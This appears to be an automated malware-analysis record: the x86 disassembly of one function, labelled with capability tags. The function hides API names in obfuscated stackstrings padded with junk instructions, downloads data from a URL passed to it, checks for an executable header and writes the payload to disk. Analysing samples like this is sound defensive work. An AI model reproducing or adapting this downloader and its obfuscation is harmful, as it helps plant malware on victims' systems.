Function at 0x100106a0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
mov al, 0x65
push ebx
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x2c], al
mov al, 0x6c
push esi
push edi
mov byte [ebp - 0x30], 0x6b
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x2a], 0x33
mov byte [ebp - 0x29], 0x32
mov byte [ebp - 0x28], 0x2e
mov byte [ebp - 0x27], 0x64
mov byte [ebp - 0x26], al
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov al, 0x65
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0x46
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], al
mov byte [ebp - 0x16], 0x41
mov byte [ebp - 0x15], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x5c], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov al, 0x65
mov byte [ebp - 0x40], 0x6b
mov byte [ebp - 0x3f], al
mov byte [ebp - 0x3c], al
mov al, 0x6c
mov byte [ebp - 0x3e], 0x72
mov byte [ebp - 0x3d], 0x6e
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x3a], 0x33
mov byte [ebp - 0x39], 0x32
mov byte [ebp - 0x38], 0x2e
mov byte [ebp - 0x37], 0x64
mov byte [ebp - 0x36], al
mov byte [ebp - 0x35], al
mov byte [ebp - 0x34], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov cl, 0x69
mov al, 0x65
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], al
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xe], cl
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], al
mov byte [ebp - 0xb], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x40]
push edx
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x60], eax
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov eax, 1
push str.WININET.dll
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
call esi
mov dword [ebp - 0x44], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, dword [ebp - 0x44]
push str.InternetOpenA
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10010847
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edx, dword [ebp - 0x44]
push str.InternetOpenUrlA
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x50], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x48]
push 0
push bind
push 0
push 0
push eax
push ecx
call dword [ebp - 0x50]
mov dword [ebp + 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp + 8]
test eax, eax
jne 0x100108a0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edx, dword [ebp - 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetReadFile
push edx
call esi
push str.CloseHandle
push str.KERNEL32.dll
mov dword [ebp - 0x50], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
mov dword [ebp - 0x4c], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp + 0xc]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [ebp - 0x5c]
mov dword [ebp + 0xc], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [ebp + 0xc]
cmp esi, 0xffffffff
je 0x1001096b
mov ebx, 0x5a4d
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x460]
lea edx, [ebp - 0x460]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0x400
push edx
push eax
call dword [ebp - 0x50]
mov eax, dword [ebp - 0x58]
xor edi, edi
cmp eax, edi
je 0x10010946
cmp word [ebp - 0x460], bx
jne 0x10010964
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push edi
push ecx
lea eax, [ebp - 0x460]
push edx
push eax
push esi
mov dword [ebp - 0x58], edi
call dword [ebp - 0x60]
cmp dword [ebp - 4], edi
jbe 0x10010967
jmp 0x1001090e
mov dword [ebp - 0x54], edi
push esi
call dword [ebp - 0x4c]
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, dword [ebp - 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetCloseHandle
push ecx
call esi
push str.FreeLibrary
push str.KERNEL32.dll
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
mov dword [ebp - 0x4c], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push edx
call esi
mov eax, dword [ebp - 0x48]
push eax
call esi
mov ecx, dword [ebp - 0x44]
push ecx
call dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x54]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret